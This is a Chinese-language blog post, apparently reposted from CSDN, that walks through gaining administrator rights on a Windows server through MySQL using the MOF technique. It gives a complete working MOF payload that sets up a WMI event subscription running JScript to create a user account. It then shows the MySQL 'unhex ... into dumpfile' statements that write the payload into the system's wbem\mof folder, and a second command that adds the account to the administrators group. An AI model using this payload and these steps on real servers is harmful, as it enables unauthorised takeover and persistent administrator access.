mysql数据库提权之——MOF提权

前题

只能在windows使用,应用范围:2008以下的系统,Mysql5.7以下(--secure_file_prive:此配置写文件不限制)

介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡

条件

mysql服务器配置允许root用户远程连接

原理

当mysql有了root权限以后,就可使用root权限去上传一个mof,隔一定时间以后这个mof就会被执行,这个mof当中可以写一段vbs脚本,这个vbs内容是cmd的添加管理员用户的命令
mof文件通过Mofcomp.exe编译执行

提权过程

1.远程连接数据库
命令行连接:mysql -h 要连接的mysql服务器ip -u root -p
Navicat连接(此处使用): 点击连接,输入要连接的mysql服务器ip,用户为root,密码数据库密码

2.编写mof文件

nullevt.mof文件内容如下,之后在net.exe user admin admin /add处替换命令即可

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

3. 上传mof文件

上传路径:C:\WINDOWS\system32\wbem\mof

上传:直接上传没有权限,可通过mysql语句写入
3.1 以二进制读取mof文件内容,并将结果转为十六进制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\nullevt.mof")) into dumpfile'C:\\Users\\Administrator\\Desktop\\333.txt' ;


3.2 Navicat新建查询处输入以下命令,111替换为刚刚的16进制字符串

select unhex ('111') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';

4.过一会mof文件里的命令就会自动执行,生成一个admin用户

5.修改mof文件,替换以下命令,重复步骤3上传,将admin添加到管理员组
mof替换命令:net.exe localgroup administrators admin /add

6.此处手动查看admin用户状态,进行结果检验

发布了55 篇原创文章 · 获赞 59 · 访问量 6975

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104803985